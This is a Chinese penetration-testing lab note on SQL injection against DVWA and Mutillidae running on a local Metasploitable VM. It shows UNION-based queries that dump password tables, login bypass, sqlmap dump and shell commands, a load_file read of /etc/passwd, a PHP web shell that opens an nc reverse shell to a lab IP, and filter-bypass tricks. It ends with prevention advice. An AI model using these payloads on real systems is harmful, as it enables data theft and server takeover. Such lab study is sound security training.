欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【渗透测试笔记】十、SQL注入漏洞

程序员文章站 2022-05-27 15:45:38
...

We are all in the gutter, but some of us are looking at the stars.
身在井隅,心向璀璨。

本文仅供学习交流,正确使用渗透测试,遵守相关法律法规,请勿用于非法用途。

实验环境

本实验基于以下环境:

确保所有虚拟机处于同一个NAT Network下

  • 启动Metasploitable,利用 ifconfig 获取本机IP
  • 启动Kali,进行渗透测试,浏览器输入Metasploitable中查询到的IP,访问漏洞页面

SQL注入的危害

  • 获取访问数据库的权限 — 访问敏感数据
  • 读写文件,获取shell

漏洞挖掘

同样以DVWA为例,默认登录账号admin/password

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境。

【渗透测试笔记】十、SQL注入漏洞
【渗透测试笔记】十、SQL注入漏洞

SQL注入

设置安全级别为Low
利用 " and " 或者 " or ",进行漏洞挖掘
存在注入漏洞
【渗透测试笔记】十、SQL注入漏洞
尝试进一步利用:

  • order by 确定表的列数
    【渗透测试笔记】十、SQL注入漏洞
    【渗透测试笔记】十、SQL注入漏洞
    报错,说明表不足10列,二分法,继续尝试,5,2
    【渗透测试笔记】十、SQL注入漏洞
    测试结果,该表只有两列。

  • union select 将查询结果回显客户端
    查询数据库名,用户名

union select database(),user() #

【渗透测试笔记】十、SQL注入漏洞

  • 查询当前数据库中的表:
union select table_name,null from information_schema.tables where table_schema='dvwa' #

【渗透测试笔记】十、SQL注入漏洞

  • 查询users表中的列名:
 union select column_name , null from information_schema.columns where table_name="users" #

【渗透测试笔记】十、SQL注入漏洞

  • 以查询用户名和密码为例:
union select user,password from users #

【渗透测试笔记】十、SQL注入漏洞

SQL盲注

盲注与正常注入的区别是,盲注不会在客户端回显错误信息

同样可以使用 " and " 或者 " or "进行判断和验证,是否存在漏洞

如果存在漏洞则进一步查询和利用,类似上述SQL注入的方法
【渗透测试笔记】十、SQL注入漏洞

SQLMAP

sqlmap是一款开源的sql自动化注入工具,可以用来检测和利用sql注入漏洞

【渗透测试笔记】十、SQL注入漏洞
【渗透测试笔记】十、SQL注入漏洞
选择 A1-Injection -> SQLMAP Practice Target -> User Info

这是一个登录查看账号信息的页面
【渗透测试笔记】十、SQL注入漏洞

在介绍SQLMAP之前,先尝试手工注入

  • 随便输入一个账号密码,admin/123456,99.99999%无法登录
    【渗透测试笔记】十、SQL注入漏洞
  • 尝试利用用户名, admin' or 1=1 #
    【渗透测试笔记】十、SQL注入漏洞
    尽管密码是错误的,还是成功登录admin账号,获取了其他账号信息
    【渗透测试笔记】十、SQL注入漏洞
    同样的方法可以用于密码

使用SQLMAP工具

说明书:

sqlmap -h

简单举例说明:

sqlmap -u "存在漏洞的网页链接"

利用刚才的漏洞网页试试,发现了username是可注入的,并且查询到该数据库大概率为MySql
【渗透测试笔记】十、SQL注入漏洞

  • 查询目标服务器中有什么数据库
sqlmap -u [URL] --dbs 

【渗透测试笔记】十、SQL注入漏洞

  • 查询对应数据库中有哪些表
sqlmap -u [URL] --tables -D database_name

【渗透测试笔记】十、SQL注入漏洞

  • 查询数据库中对应表的列
sqlmap -u [URL] --columns -T table_name -D database_name

【渗透测试笔记】十、SQL注入漏洞

  • 查询表中所有数据
sqlmap -u [URL] -T table_name -D database_name --dump

【渗透测试笔记】十、SQL注入漏洞

利用SQLMAP获取shell

  1. sql-shell
sqlmap -u [URL] --sql-shell
  1. os-shell
sqlmap -u [URL] --os-shell

读写文件,获取shell

  • 读文件,如读取/etc/passwd
union select load_file('/etc/passwd'),null #
  • 写文件,前提有足够的权限可以写入
union select "<?passthru('nc -e /bin/sh 10.0.2.15 8888');?>",null into outfile "/var/www/shell.txt"  #
  • 通过写入的文件,利用文件上传漏洞或者文件包含漏洞,读取文件,获取shell

过滤器绕过

  • 敏感字符转换,"#" -> “%23”
  • 大小写混用
  • burp suite绕过客户端过滤
  • 举例: UNioN/**/SEleCt+1,2+%23

漏洞预防

  • 对需要查询的数据中存在的特殊字符进行转义处理,或编码转换
  • 正则表达式检验数据是否合法
  • 避免将错误查询信息展示给客户端
  • 参数化查询,避免SQL拼接
相关标签: 【渗透测试】